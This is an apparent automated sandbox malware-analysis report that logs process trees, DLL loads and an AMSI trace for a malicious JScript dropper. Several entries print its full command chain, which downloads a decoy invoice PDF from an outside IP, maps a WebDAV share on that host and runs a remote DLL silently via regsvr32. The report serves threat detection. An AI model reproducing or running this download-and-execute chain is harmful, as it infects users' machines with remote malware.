Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1548,i,205549767828196929,3336906729478641028,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\43051318232153.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2164 --field-trial-handle=1548,i,205549767828196929,3336906729478641028,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9091.js.csv");ITextStream.WriteLine(" entry:7403 f:rvhorikxs");ITextStream.WriteLine(" exec:2 f:rvhorikxs");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
